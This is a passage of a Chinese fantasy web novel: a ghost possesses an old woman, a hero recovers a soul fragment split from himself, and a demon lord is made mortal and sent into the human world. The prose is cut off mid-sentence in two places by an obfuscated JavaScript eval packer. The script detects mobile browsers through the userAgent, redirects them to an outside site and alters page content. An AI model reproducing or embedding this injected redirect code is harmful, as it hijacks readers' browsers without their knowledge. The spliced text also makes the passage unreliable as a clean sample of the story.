原以为他们遇上了什么匪徒围攻,如今一看,并非如此。 马车的确被拦住,却不是被恶贼劫道,而是被一个老妇挡住了去路。 那老妇横躺在大路上,直往马车下面滚,何云迢生怕马蹄踩伤她,小心翼翼控制着马儿往后退,那老妇人却偏偏不让他退开,翻身几滚,非要钻到马蹄车辕下方去。 石老儿气道:“好个难缠的老婆子,再纠缠下去,莫怪老夫不客气了!” 老妇道:“赶快对我不客气吧,杀了我,让我死,不然,我的好孙女就要带着恶鬼过来,索了你们的命!” “不可理喻!”石老儿在一边跳脚,捉也捉不住那老妇人,又怕硬来会惊了马,真将她踩死,闹出人命来。 亦如空从竹海间飞来,刚一落地,见此闹剧,眉头一皱:“怎么回事?” 石老儿苦恼道:“主人,不瞒你说,我们也不知道怎么回事,这老太婆突然从路边竹林蹿出来,硬是要朝我们车上撞,嚷嚷着要寻死,碾不死她就不给过去。” 亦如空略微弯腰,朝下看去:“可是想要钱财?” 打量着,却看见她腕上绑着支小弩,腰上还挎着几支短小的鸣镝。 亦如空眼神一动。 这就是那小姑娘的奶奶? 老妇原本躺在马肚子底下,没有看见亦如空的模样,他这一弯腰欠身,老妇猛然看清他的脸,立刻翻身跳起,那灵活的身法,绝不是一个普通的老妇人。 她睁大双眼,不再呜嗷乱喊,只是怔怔地看着亦如空,如同见到了几辈子未见的故人,喃喃道:“到时候了……到时候了?” 39.魂归 老妇喘息几口,苍老的脸上露出个狂喜的表情。 “上苍有眼,终于等到了!” 她说话颠三倒四,没头没尾,实在让人难辨其意。 加之其鬓发蓬乱,衣衫破旧,怎么看,都只是个疯癫的老妇人。 谁会在意她的话呢? 偏偏亦如空不得不在意。 她何时见过自己?难不成,又是故人? 他在这世间,会有这么多故人?那倒真是有些离奇了。 老妇仰天笑道:“守了那丫头多少辈子,总算到头了,我实在受够了!” 她无视其他人的目光,只看向亦如空:“没想到,千年过去,你风采依旧啊,我还以为再也见不到你,或者见到你时,你已面目全非,不成样子,认也认不出来,看来,是我多虑了,能锁住我这样久的,怎么会是年华易老的一般人呢。” 她边说,边疯疯癫癫痴笑,花白头发乱抖,看起来像是发了癔症。 亦如空转向何云迢,说道:“应是个意识不清的人,趁着她此时并未挡路,赶紧驾车走吧。” 他将翘枝也放上马车,何云迢愣愣接过,道了声好,带着疑惑打马而去。 石老儿狐疑地看着那妇人:“你究竟是什么人,对着我家主人说些什么疯话?” 老妇止了笑声:“这是我与他之间的事,他应当知道。” 亦如空不动声色,眼中泛起几点疑惑的涟漪。 石老儿看了看他的眼色,立刻道:“你恐怕认错人了,我家主人并不认识你。” “认错?呵呵,他将我捆在那生灵胎左右时,曾以刻魂之术,让我记住他的脸,声称只有等到他回来之时,我才能重获自由,他的样子,可是深深刻在我魂体之中,分毫不敢忘啊,我会认错?” 亦如空看着她:“你不是那女孩的祖母。” 老妇动了动手臂,神态动作完全不像一个老者,她笑道:“看来你已经见过她了。这具身体,确实是她的奶奶,但我不是,我只是一个倒霉的幽魂,落在你手中,被你逼迫着,做了那丫头的守护灵。” “你可认得我?”亦如空问。 “算不上认识,我不知道你叫什么名字,也不知道你究竟是妖怪还是神仙,或是修成了大能的人修,我只希望你能信守承诺,将留在我身上的锁咒解了。” 亦如空眉峰微拧:“我在你身上留锁咒,是为了那小姑娘?” “还能为什么?可是你以为,你行这逆天之事,真是为那丫头好吗?两魂加护,只能助她入轮回,却改不了她的命格,生生世世短命穷苦,还要害死亲爹娘,注定孤苦,这样的轮回转世,有什么意思?作孽而已!” 亦如空听在耳里,被封锁的识海之中,自己护着某样东西逃出天雷大阵的记忆隐隐再现。 自己当时护着的,是那女孩吗?可是,为何? 他没有答案,只能问眼前这个占据了老妇身体的幽魂。 “我只知道,我倒霉落在你手中,被逼无奈,护着那缺了两魂,天生苦命的生灵胎,我曾好奇你为何这样做,我猜过,或许她是你隔世的小情儿,或许是你的种……管他是什么,都不重要了,我只要你放我走。” “我记性实在不好,”亦如空轻轻一叹,“想不起事情缘由,恐怕也想不起该如何放你离开。” 老妇变了脸色。 亦如空又接着道:“不过,咒印这种东西,要我想出解法,也很容易,前提是,你要把所知之事都告诉我,讲得清清楚楚。” 老妇皱着眉头,意识到对方所说的遗忘,并非作伪,她毫无办法,只得道:“你抓了我,是为给那缺了两魂的丫头补魂,你贵人忘事,是不是也不记得,她是生灵胎了?” 生灵胎?亦如空确实毫无印象。 “好,那我就再花点时间,为你解惑,”老妇走了几步,坐到了路边的大石上,“生灵胎,是夺天造化,人为打造的修魂宝物,生来就是给魂修做补品用的,只是千年以前,那第一魂修宗门一朝被灭,这世间的生灵胎已然绝迹,恐怕只剩那丫头一个,她当初已被人噬去两魂,难入轮回,你于是抓幽魂作补,算我倒霉,落在你手里……可怕的是,你这疯子,还缺一魂时,竟然撕裂自己的神魂补上……也是你那一缕神魂,叫我这千年来,过得好苦!” 石老儿听得怔愣,当初魔君前往人间,对比虚弥之境的时间流逝,他在人间的日子恐怕不短,期间所经历之事,他无从窥见,一无所知。 而今看来,魔君在这方天地间所留下的症结,似乎不少。 石老儿看向亦如空,见他目光似有动摇,仿佛是在努力回忆什么。 识海封锁触动,神思也跟着紊乱,亦如空稳住心神,掐住指节,耐心听这老妇讲述。 老妇仍在说着,眼中又惧又恨:“……可是,你想多了,随随便便两魂,哪那么容易补上?她终究还是三魂缺其二,纵然轮回之时有我们这两魂加持,骗过天道,但还是无法补足其魂体缺失,还是生生世世活得艰难,不幸生养她的父母,只能是穷苦短命,被她克死,她自己最多也就活到十八岁整,算一算,这一世又快到头,而我实在受够了这一次又一次的循环往复,无论如何,都不想再来下一遭了。” 石老儿道:“所以,你拦路寻死,就是因为这个?” 幽魂叹息道:“那丫头的奶奶,十日之前便死了,谁知那个魂——那个该死的,你留下的神魂,竟为了不让她伤心,逼着我留在这躯体里,大家都是魂魄灵体,偏偏他手段高明,能将我死死拿捏,根本动不了离去的念头,我没有办法,唯有被人再次杀死,破坏这身体,才能出去。” 亦如空问道:“你可知那魂,现在何处?” “我不知道,这几日也不知怎么回事,他不再像往常那般,时时刻刻守着那丫头,也是得了这个空隙,我才下山来……谁知道呢?或许你的神魂与你意识相通,知道你来了,便躲了起来。” 老妇看着若有所思的亦如空,浑浊的眼睛微微发亮:“既然你什么都忘了,那你现在肯定不记得,更不在乎那丫头了,若你只想找回自己的神魂,那就太好了,我可以帮你,前提是,你要履行承诺,解了我魂体上的咒印。” 亦如空正要回答,目光却忽然看向对面竹林,那羚羊一样的姑娘奔跑着冲出来,身上的背篓也不知甩在了何处。 她脸上挂着晶莹的汗珠,急匆匆喘着气,看见老妇人安全无虞,这才放下心来。 她匀着气,把警惕的目光投向亦如空。 老妇人仍坐在大石头上,捶着膝盖,露出一副老人家该有的样子,慢声慢气道:“笋儿,找到你的魂了吗?” 笋儿摇头:“奶奶,你刚才,放了响箭,怎么了?” 老妇咳了咳,道:“没什么,只是摔了一跤,还好有这位公子帮我一把,笋儿,可得好好谢谢人家。” 名唤笋儿的少女再次转过目光,敌意消了一些,警惕却依旧不减。 沉默一阵,她生硬地说了句谢谢,上去搀扶起老妇人:“奶奶,我们回家了。” 老妇跟着她起来,招呼亦如空:“不嫌弃的话,去家里坐坐吧。” 笋儿似乎想要阻止,最终还是作罢。 竹林深处,简陋的屋舍,篱笆圈成小院,竹海四面合围,将其隐匿其中。 走到院门前,几人却停住了脚步。 因为院中立着一个人影,一个身量颇高,身着碧色衣衫的人影。 “柳玉京?”石老儿一愣。 老妇没有见过他,一脸疑惑,笋儿道:“这人,是跟他们一起的。” 柳玉京一动不动,留给几人一个背影。 石老儿喊道:“我们好歹是受主人家之邀而来,你怎么毫不客气,不请自入,到时候别人还说我们的人不知礼节。” 柳玉京这才缓缓回过身来,确是蛇妖那邪里邪气的脸,但神情却全然变了一副样子。 那面具外的半张脸上,是从未在这蛇妖脸上出现过的冷肃,他目光寒星一般,扫过所有人,落到那笋儿身上时,却柔和起来。 亦如空看着蛇妖眼中一闪而过的红光,眉心略紧。 “他似乎,被附体了。” “这个眼神……”老妇突然高喊,“你要找的神魂,就在这里,在他身上!快动手!” 被控制的柳玉京闻声而动,双臂一挥,黑气涌起,攻势直朝着亦如空而来。 亦如空立刻运力格挡,灵气冲荡,卷起地上无数枯竹叶片。 柳玉京一言不发,目色阴沉,越攻越猛。 亦如空心中一沉,他此刻落了下风,只能格挡,每次主动出手,似乎都在对方的意料之中。 笋儿完全不知道发生了什么,在气流乱叶的冲击中稳住脚步,想要护住身边的奶奶。 老妇眼见魂体就在此地,也不再装,推了她一把道:“臭丫头,他不是听你的话吗?现在他就在那人体内,你去让他停下,出来认主!” 笋儿被推得一个趔趄,怔愣住:“奶奶……” “柳玉京”恨眼过来,竟抛下这边的争斗,飞身而去,一掌拍向那老妇人,转眼便叫其囟骨碎裂,倒地不起。 那老妇体内的幽魂,也不知是离体而去还是被就此击碎,瞬间没了声息。 笋儿惊住了,双腿失力,跪倒在地,愣愣地看着奶奶的尸体。 “柳玉京”缓缓收回手掌,对她道:“不要哭,她已不是……” 笋儿泪珠自腮边滚落,怔怔地抬头看他:“你是,魂?” 柳玉京朝她伸手,笋儿被他的手指在额上一触,双目一闭,失去意识。 趁着他分神的当口,亦如空驭动毁形咒,却见咒起之时,对方立刻掐诀,那套手诀,正是毁形咒的解咒法术。 毁形咒连接已断,亦如空放下手,眸色渐沉。 这算什么?自己竟是在和自己过去留下的神魂打斗? 神魂中的神识按理来说并不完整,只能依照离体之时所受的命令行事,可怎么,他竟似乎有了自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696535|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识,甚至对他这个本体充满敌意? 咒印已解,神魂驾驭着柳玉京的身体,再次出手袭来。 他竟能将蛇妖的法术运用自如,没了咒印限制,以亦如空如今的恢复程度,还不足以对付他。 纵使有石老儿从旁相助,能让他寻到一线机会祭出杀招,他却也只能收着力气,错失机会。 毕竟这遗失的神魂,他只想将之收回,并不想击碎损毁。 亦如空出手犹豫,柳玉京却毫不留情,他手腕翻转,道道碧色的刃痕凭空显现,像是漫山竹叶化作了暗器利刃,如雨如网,密密朝着亦如空笼罩过来。 亦如空将手一展,虚空握出柄储物锦囊中所藏的重铁剑,挡住迎面攻来的一击。 冲击之下,他身形后掠数丈,铁剑嗡鸣,气浪翻滚,叫那远处的密林都晃动起来。 亦如空腕上震痛,皱眉看着柳玉京,等着他再次出手。 然而,对方却并未紧跟着乘胜而击,反倒收拢灵力,身影微微一晃。 石老儿叫起来:“主人,他能附体这蛇妖的时间似乎有限,现在正是机会!” 亦如空拦住正要攻上前去的石老儿。 他将铁剑丢回储物锦囊中,重新看向柳玉京的眼睛,看向那独眼中一丝属于自己的神魂。 “主人……” 亦如空示意石老儿放心,捏了捏痛麻的虎口,兀自上前,道:“若你这般,只是为了保护她,那你该停手了,这里没有人要伤害她。” “柳玉京”没有说话。 “你究竟在躲避什么?你本不该对我有敌意。” 良久,那神魂才借由柳玉京的身体开口道:“我知道到时候了,可是……” 他看向笋儿:“若我回到你身上,世上就再也没有谁,会在乎这个孩子了。” 亦如空眼神一动,跟着看向那名唤笋儿的少女。 她在昏睡中仍绷紧了身体,攥着死去祖母的衣襟,似乎在恐惧着什么,防御着什么。 “你忘却了一切,如今的你,还能在乎她的死活,还能将这件事看得很重要么?”神魂缓声说道,语气中竟有一丝悲戚。 重要?对亦如空而言,什么是重要的?或许是他要找回的记忆,又或许是他丢失的灵力,还有他一心想要重塑的虚弥之境,但是,一个已经被他遗忘的凡人生灵胎……不是。 他心中百感交集,委实未曾想到,自己信手扯下的一缕神魂,一缕为守住这生灵胎而存在神魂,竟已成了执念,成了妖魔。 亦如空不知道该怎么说,只能道:“她于我而言究竟如何,要想起来,才会知道。” “不……就算记起,你也一定不会在乎了,至少,不会像我一样在乎。”神魂说道,“但这是一个承诺,答应过,就必须践行的承诺。” 亦如空沉默一阵,忽然笑了笑:“我只是暂时忘了,又不是不认账。” 他的衣袍织带在风中翻飞,偶尔被发丝遮住的目光里,是深不见底的包容。 他好似看一个孩子一般,看着这从他身上分离出去,如今畏惧着回到他身体里的神魂。 那缕神魂,也正透过柳玉京的眼睛看向他,无声之中,有太多隔世千年的情绪在其中交织。 最终,一切随风静止,只隐没在亦如空勾起的嘴角,和平静无波的眼中。 “千年过去,你好像又失去了很多,你总是这样,在乎什么,就失去什么。” 神魂说着“你”,语气却分明是自嘲。 亦如空眼睫一颤,心中微震,涌起些道不明的感觉。 神魂不再看他,而是望向昏迷中的笋儿。 良久,他才道:“你曾答应过一个人,要让这个孩子好好活一世,至少,这个承诺,不能不作数。” 亦如空颔首道:“好。” 他竟然在对自己的神魂做保证,这感觉很古怪,但是亦如空只得说下去:“她缺失两魂,先天残命,要想活到年老寿终,很难,但你本是我,你该知道,再难的事,我也会做。” 神魂与他相连,明白他的话绝不是假话。 他立下的承诺,纵使天地倒转,世事轮换,也不会更改。 神魂垂下眼,重新看向笋儿,看了许久。 亦如空难以想象,那会是自己的神魂驱使下露出的表情,纵使隔着柳玉京的躯壳,也叫他心惊。 “但愿你能好好过完这一生,”他低声道,“再见了。” 说完这句话,那缕神魂终于肯离开柳玉京的身体,脱体而出,向着亦如空而来。 亦如空这才看清了他的样子——那半透明的魂魄黑雾萦绕,一张苍白的,跟自己一般无二的脸,却有着与他截然不同的,忧伤的赤红色眼睛。 亦如空闭上眼,任那魂魄与他额头相抵,接着进入他的额心,与他融为一体。 那些被蛇毒强行催发的记忆碎片,有了这一丝缺失的神魂作补,终于完整。 亦如空总算得以明白,那究竟是一个因何而起的承诺。 40.虚弥 白玉天书悬在魔君的宫殿中,对着懒洋洋躺在花藤软榻里睡大觉的魔君,第一百次催促道:“你已经休息很久了,天道的任务,何时去做?” “聒噪。”魔君扔出一个花朵凝成的酒杯,砸向空中的白玉天书。 但这一击并无作用,那琉璃一样的花杯直接穿过白玉天书,变回了一团花朵,扑簌坠地。 “魔君,你又忘了,我不是实体,你纵使打我,也没用。”白玉天书嚣张地爆发出阵阵白光,将这灵幻的宫殿照得透亮。 应空烦不胜烦,扯了扯藤蔓,那藤蔓立刻伸展过一根柔枝,温柔地遮住他的眼睛。 这该死的白玉天书,自从它突然冒出来,自己悠闲散漫的好日子,便就此到了头。 他可是魔君,魔君啊,整个境界之中最强的王者,如今却被一个莫名其妙的东西整日骚扰,偏偏还拿它毫无办法,真是可恨至极。 白玉天书无视魔君的抵抗,继续道:“你再视而不见,也没有用,明日你若还不去人间,完成这生老病死的历练,那么虚弥之境里,你的这座虚弥山上,将会有死亡降临。” 应空掀开盖在眼睛上的柔枝,金色的瞳孔中浮现出震惊和恼怒。 “你这鬼东西,在威胁我?” 白玉天书道:“只是合理的督促之举,魔君生性散漫,行事无忌,若不予以谏言敦促,如何成事?你这宫中没有谏臣进言,只能由我代劳了。” 魔君翻身而起:“你等着,我一定想办法除了你。” 白玉天书发出爽朗的笑声:“那在魔君想到办法之前,还是先做正事吧,如若不然,虚弥峰顶的神树,可就要活不过明天了。” “树阿公?”魔君一怔,“你做了什么?” “不是我,魔君,是天道,天道想要掐灭这里的任何生灵,都只在一念之间,包括魔君你在内。” “天道,天道……”魔君的金瞳中杀意弥漫,“天道究竟是个什么东西,非要来威逼掌控于我?” “一切所为,皆有其法,天道之举,其意深远,魔君终会明白,只是还需要时间,慢慢参悟。” 又开始说这故作高深的空话,应空不再理它,一个瞬挪,上了虚弥峰顶。 山顶又在下雪,曲曲亭廊外,皑皑白雪中,万丈悬崖边,古树在落雪中独自屹立。 应空将手掌贴上树干,感受着古树苍老粗糙的皮肤下,那隐隐流动的生命力。 过往,灵力涌动的触感十分强烈,而现在,竟已缓慢微弱到几不可察。 应空看着树梢上的积雪。 若是从前,积雪根本不会压在这棵树上,这棵树永远都在这雪地里,独享着一个春天。 此刻树上却积了厚厚一层积雪,树枝发出轻微的剥裂之声,似乎再落下一片雪花,就会断裂崩离。 从应空在此地生出灵智,修成灵体之日起,死亡从未降临过这座虚弥峰,直到这一刻,应空似乎看见了死亡庞大漆黑的影子。 大树发出一声低沉的,哀鸣般的叹息,让本不知愁的应空感到一丝悲哀。 他拂袖,让覆盖着古树的积雪尽数蒸腾。 上扬的水汽和碎雪中,古树颤抖着枝桠,巨蟒般的手掌盘绕而来,笨拙地张开,为他捧出一枚光华流转的圆果。 光华映照在应空眼底,他看着那枚果实,不解其意:“这是……” 树阿公的声音已不再像过往那般洪亮,缓慢地说道:“我知道自己活不久了,临死之前,我用万年吸收的土木之灵,结出这枚丹果,献给魔君。” 应空蹙起眉头:“我不要。” 古树还是执拗地捧着那枚丹果:“魔君,世上原来根本没有永恒的乐土,也没有无尽的寿岁,我扎根生长万万年,直到将死之时,才明白这个道理,这都是天道规则,法理使然。” 怎么连树阿公也开始说这等话了?魔君十分不悦。 从前,这棵古神树只会整日说笑逗乐,笑声让整座虚弥峰都在震颤,应空被他烦扰,还狠狠教训过他一顿,让其收敛笑声,而后漫长的岁月里,古树会在每片叶子上写满笑话,一天一个,不重样地逗应空开心。 一定是那白玉天书带来的恶疾——名为“天道”的恶疾——传染给了此地生灵。 应空心想,若是现在去翻阅古树翠玉般的叶片,恐怕每一片叶子背后,都写满了天道的大道理。 那些东西,在应空看来,无趣,无聊,无关紧要。 “你不会死的,”虚弥之境的君王昂起头颅,斩钉截铁地说道,“收起你的丹果,收起这副生离死别的倒霉样子,给我继续活着,没有我的允许,绝不能死。” 魔君的金瞳里泛着骄傲的、笃定的光彩,以前古树相信他,正如虚弥之境的众生一样,毫无疑问地相信他。 信他手握世间最强的力量,信整个虚弥之境的存在,皆在他一人手中。 可自从那个噩梦开始降临,古树那无缘无故的信心,便开始动摇。 作为古神树,树阿公很少做梦,但近日里,一个噩梦一直在重复,噩梦带来的寒意,浸透了他的每一根枝干。 那个梦里,魔君不再长着金瞳,他那双天地间最亮最深的眼睛,变成了一潭漆黑的死水,他形容憔悴,满身血污,一次次爬上云端,再放任自己狠狠跌落,坠在尘土中,砸碎浑身的血肉骨骼。 古树试图伸出枝干去接住他,却只是徒劳,只能看着他血迹斑斑的身体穿过枝叶,反复坠进尘中,直到面目全非。 神树通灵,能梦见的,绝不是毫无意义的虚无幻象,更像是未来的征兆。 那是多么不祥的征兆,魔君为何要用这样惨烈的手段,去毁坏他不死不灭的灵身? 树阿公没有向他讲述这个噩梦,应空不容辩驳地要求他收回丹果,蛮不讲理地要求他活下去,先移去山下的温暖之地,等着自己回来。 魔君要去哪? 去会一会那该死的天道。 按照白玉天书所说,应空来到虚弥之境的边缘,这是片蛮荒地,他只看过一眼,便不再踏足,因为此地毫无生机,除了一轮永恒不落的太阳,再没有什么乐趣可言,若是他愿意,给这里播撒灵气,带来生息,也可以,但没有必要。 直到现在,重新踏足此地,应空才发现,荒原上竟不知何时多出了一个通道,一扇巨大的,通往另一境界的大门。 铁红色的沙尘荒漠里,锈迹般的风蚀岩山间,巨门就那样突兀地伫立着,像是一只硕大幽深的眼睛。 通道门口正中,摆了一张案桌,桌前坐了一个鹤发童颜的老头,他正叼着笔,埋头在案上摞得高高的书堆里翻阅着,时不时发出恍然大悟的声音,提笔刷刷摘录。 应空气势汹汹而来,一掌将他的书堆和笔记全部扫开。 “我什么时候允许在这里修建这种丑东西了,”应空踩着案桌,指着那涡眼般的大门,睨着这满嘴墨汁的老头子,“你又是哪里来的,也是天道安排的?” 老头张嘴,毛笔掉在袍子上,他夸张地怪叫起来:“天哪,天哪,你就是魔君吧,这个世界的君主……这等风采,胜过云天之上多少神仙,跟阿讷仙尊相比,也不相上下呢……” 老头起身想来捧应空的手,被应空毫不客气地挥开:“算了,我有急事,没空和你多话,去人间是走这里对吧。” 应空向着老头背后的大门,跨过案桌就要过去,老头却一个闪挪,挡住他的去路。 应空眉毛一挑:“你想拦我?” 老头一笑,露出两排墨汁染黑的牙齿,恭敬道:“魔君,您还没有完成该走的步骤呢,是过不去的。” 应空拧起眉头:“什么步骤?” 魔君气势了得,露出恼怒之色时,威压格外迫人。 老头擦擦额头,跑到一边,从散落的书堆里捡起一个卷轴来。 抻开卷轴,老头摇头晃脑读道:“虚弥之主,身怀神力,撼天动地,擅入凡尘,恐引天地动荡,需卸其力,化作凡骨,再入人间……” “胡说八道,”应空毫不客气打断道,“那里我曾去过,哪需要这么麻烦?若不是先前的通道消失,我何须来你这里。” 老头赔笑道:“魔君不知,你之前进入人间,按那里的时间来算,已是上万年前,彼时天地初开,妖魔肆乱,自是无所谓,你去大闹一通,踏碎大把妖邪,反倒是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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应空已听不清他在说什么,这是平生第一次有人敢在他身上动刀子,第一次感知受伤流血疼痛,竟就这般刻骨。 荒原上不落的阳光照耀着魔君的残躯,金闪闪的血液渐渐蒸腾消散,伤口飞速愈合,最后隐没在刀口处的,已不是金芒,而是赤红血色。 应空睁开眼,眼中金光尽散,唯余空白。 老头仔细收好神骨,转眼一看应空的眼睛,哎呀一声,道:“这可不行,这哪像凡人。” 他放下尖刀,将之前丢置一边的笔捡了回来,提笔在应空的眼中点上两点墨色。 浓长的睫羽一眨,两点墨色便染进他的瞳孔,叫他拥有了一双鸦黑的眼睛。 这双眼睛变了颜色,却依然亮得惊心,神采气势半分不减。 应空坐起身来,冰冷的目光刺向老头。 “我记住你了。” 老头感知到那双眼眸中的杀意,忙道:“魔君别生气,老夫方才已经极尽温柔,尽量减少魔君的痛苦了。” 应空看向他染血的手,黑压压的眼睛比之金瞳,更加晦暗幽冷:“可是,我还是想剁了这双手。” 老头干巴巴一笑,还真是魔王性格啊。 “若是这样能让魔君出气,那魔君便做吧。”老头伸出双手。 应空压根不和他客气,脚尖挑起那柄卷轴所化的蛇形尖刀,毫不犹豫地砍下去。 然而那两只手还是好端端长在原处,刀刃穿过,没有留下一丝痕迹。 老头摸着胡须笑道:“凡有所相,皆是虚妄,老夫只是一抹影子,无法被伤及,叫魔君失望了。” 应空黑着脸扔开尖刀,向着巨门走去。 老头在后面喊道:“老夫在这里等着魔君!待魔君重回此地,定将神骨奉还!” 应空头也不回地迈进巨门之中,门内的漩涡如同暗河流沙,又如星空斗转,他以这副失去了灵骨的身体踏入,转瞬便被裹挟其中,失去了意识。 也不知过去多久,再睁开眼时,他已躺在一张床榻上。 一张简陋的床榻,一间简陋的屋子,还有一个包着头巾,衣着简陋的妇人。 那妇人正弯腰看他,笑眯眯地唤他:“相公。” 41.修凡 这一声“相公”,是应空以脱离灵骨之躯入人间,听到的第一句话。 眼前这个农妇装扮的妇人,便是他入世后,看见的第一个人。 白玉天书所说的任务还言犹在耳—— “凡人修仙,而你,修凡。” “修凡?” 白玉天书知道他不爱听复杂的道理,只简单说道:“你在人间见到的第一个人,那人死去之时,便是你离开人间,重回虚弥之境之日。” 应空了解过凡人,知道他们活个短短数十年便会老死。 他估计着这个妇人的年纪,按凡人的岁数来算,大概二三十岁,若是活到七老八十寿终正寝,再过个五十年左右,也就差不多了,更何况,还有疾病,意外,种种可能,或许根本不需要那么长的时间。 妇人绝对想不到,眼前这个顺手捡回来的俊俏男人,正默默计算她寿命几何,她更想不到,他还在遗憾,她为何不是个老头子,或者老太婆。 见他始终不说话,只是看着自己,妇人愣了愣,伸手探他的额头,道:“莫不是摔傻了,或是失忆了?” 她用手在他眼前晃悠:“哎,醒醒神,我刚才吓唬你呢,你不是我相公。” 应空拂开她的手,坐起身来,正要开口,却听见这陋舍外传来一阵喧闹声。 妇人闻声一愣,想了想,凑到应空耳边,悄声道:“我叫亦照君,这下真要劳烦你装一装我的相公了,替我吓走外面那些地痞无赖。” 刚说完这话,几个手拿锄刀的人便砸门闯了进来。 亦照君站起身来,面向那些闯入者,嘴里对应空说道:“相公,就是这些人,趁你不在家中,以为我孤身一人无人撑腰,想要将我赶走,抢占我的田地。” 闯进来的人愣住了,面面相觑: “不说是个寡妇么,几时有了相公?” 几人交头接耳,指指点点,似乎对应空的存在十分意外。 亦照君取下墙上挂篓里的柴刀,塞到应空手中:“相公,你去那宗门习武多年,打走这几个泼皮无赖,应该很容易吧?” 应空从善如流地接下那把柴刀,站起身来。 虽没有灵力傍身,但将一把柴刀扔出吓唬人的气势,很简单。 几个闹事的村人战战兢兢,扭头看一眼那深深嵌入身后土墙中的柴刀,争抢着夺门而出。 亦照君定定看着应空,诧异道:“有两下子……你竟真是个练家子?” 应空看她一眼,没头没尾地问道:“你身体如何?有无疾病?” 亦照君一愣:“我身体健康得很,你问这个做什么?难不成,还真要谋个媒,做我的相公?” 应空目中划过一丝失望之色,沉默半晌,忽然问:“相公是什么?” “啊?”亦照君又是一愣,看应空的眼神渐渐变了。 她微微眯眼:“你究竟是什么人,是装傻还是……” 她说着,竟突然翻脸,不知从哪里摸出把剪刀来,紧紧抵在应空的颈边。 “说!是不是花复秋那个畜生派你来的?你如何找到这里来的?!” 应空困惑地眨了眨眼,这凡人女子真是古怪,方才一个样,现在又是一个样。 他根本听不懂她在说什么。 “莫名其妙。” 他推开颈边的剪刀,撂下四个字,便自顾自出去了。 就这么走了? 亦照君原地愣神片刻,到门边一看,才发现他并没有离开,而是面朝屋舍正门,盘膝坐在院坝边的石磨上。 亦照君扶着门框,不解地看他:“你这是做什么?” 应空道:“我在等。” “等?等什么?” “等你死。” 怪人,实在是怪人。 亦照君见过数不清的男人,但没有见过这般俊的,否则,她也不会头脑一热,捡他回来。 同时,她也没有见过这般古怪的,竟然每一个举动,都在她意料之外。 “你等吧,算命的说我能活到八十岁,那你可是要等上好几十年呢。” 亦照君说完,关起房门,不再理会他。 应空就这般坐在原地等着,不管亦照君是里外洒扫,还是下地干活,他都在那里,一动不动。 这让亦照君很意外,难不成他是什么得道之人,竟不渴不饿不用休息? 等到第三天,亦照君打消了这个想法。 第三天早晨,亦照君打开门,发现屋外那人不再端坐着,而是倒在了地上。 亦照君走到近前,看着这个小脸煞白的俊俏男人,心中倍感古怪。 她将他摇醒过来,问:“你怎么了?” 应空只觉身体莫名虚弱,心道:天道去我之骨,必是留了隐患。嘴上只道:“不知为何,我现在腹中古怪,浑身无力。” 亦照君摸摸他的额头,又摸摸他的肚子,大笑起来:“傻子,你只是肚子饿了。” 亦照君去灶上忙活半晌,给应空端来一碗卖相惨不忍睹的面糊汤。 “喏,吃吧,白面可是好东西。” 应空看着那面糊糊里沉浮的野菜碎,蹙起了眉头。 亦照君看出他眼中的嫌弃,伸手敲他的脑袋:“你这是什么表情?给你做饭吃,你还敢嫌弃?” 应空无力跟她计较,默默捧过那粗瓷碗。 亦照君打量着他:“你真不是花复秋派来的?” 应空手足无措地对付那碗面糊汤:“我不知道你在说什么。” 他鸦黑的眼睛一抬,看上去实在诚恳极了。 “你最好不是姓花的派来的探子,否则,我一定让你死得很难看。” 应空正仔细研究碗里的野菜,没空回应她。 “挑挑拣拣干什么呢?肚子饿了就赶紧吃,我又没下毒。” 应空试探着喝下一口面糊汤,眉头一皱。 亦照君嫌弃道:“你真是,怎么一副饭都不会吃的样子,你是刚下凡的神仙,还是刚化形的精怪?” 换了旁人,做出这等姿态,亦照君恐怕早将他打走了,偏偏他样子实在讨人喜欢,怎么着都不会叫人心生厌恶。 “我都做饭给你吃了,你该告诉我,你叫什么名字吧?” 应空没多想,老实回答。 “应空?”听清应空吐出的两个字,亦照君露出个诧异的表情,“你跟那上古凶兽恶煞同名?” 应空小心翼翼啜饮一口,抬眼看她,神色莫名。 “你怎么连这都不知道,难道真是从天上掉下来的……” 见应空一脸懵懂,亦照君无奈道:“每年除祟节,都有打凶兽应空,庇佑平安的习俗,再乡野偏僻的地方,也知道用这凶煞之名吓唬孩子,你的爹娘竟给你起这个名字,年年被打被除的,也不怕你这辈子过得凄惨。” 见他不说话,亦照君又自顾自道:“真不是个好名字,还是改了吧,你姓什么?应?” 应空摇头:“我没有爹娘,也没有姓。” 亦照君一愣,一挥手,笑道:“那不如跟我姓,你别看我只是个乡野村妇,还是个孤苦无依的寡妇,我这姓氏却不一般,祖上也是富过的,出过开宗立派的始祖呢,不亏的。” 她自顾自沉浸其中:“至于名字么,我还要想想。” 她从防范有加,到突然要为他起名冠姓,转变得实在有些迅速。 对此,应空根本无所谓,他现在心中唯一忧虑的是,自己竟真的成了凡骨,会饥渴疲累,与凡人无异,接下来的几十年,恐怕不好过了。 被安排着收拾好碗筷,应空回到原地,闭目坐着,忽然感觉脸上溅来几滴湿凉,他睁开眼,看见亦照君正端着个水碗围着他转,用一根柳枝,不断往他身上拨水,口中还念念有词。 水珠从应空的额头滚至唇边,他蹙起眉头:“你这是做什么?” 亦照君道:“你是我捡来的,以后就是我的人了,给你除除晦,留留魂,以后就安心跟着我过日子。” “你不怕我是谁派来的了?” 亦照君嗤道:“一个能把自己饿晕还不知道怎么回事的傻子,有什么可怕的。” 说完,她又补充道:“先说好啊,我可不养吃白饭的,该出的劳力你得出,若是不愿意,那你就走,我本来也没打算强留你。” 应空摇头:“我不打算走。” 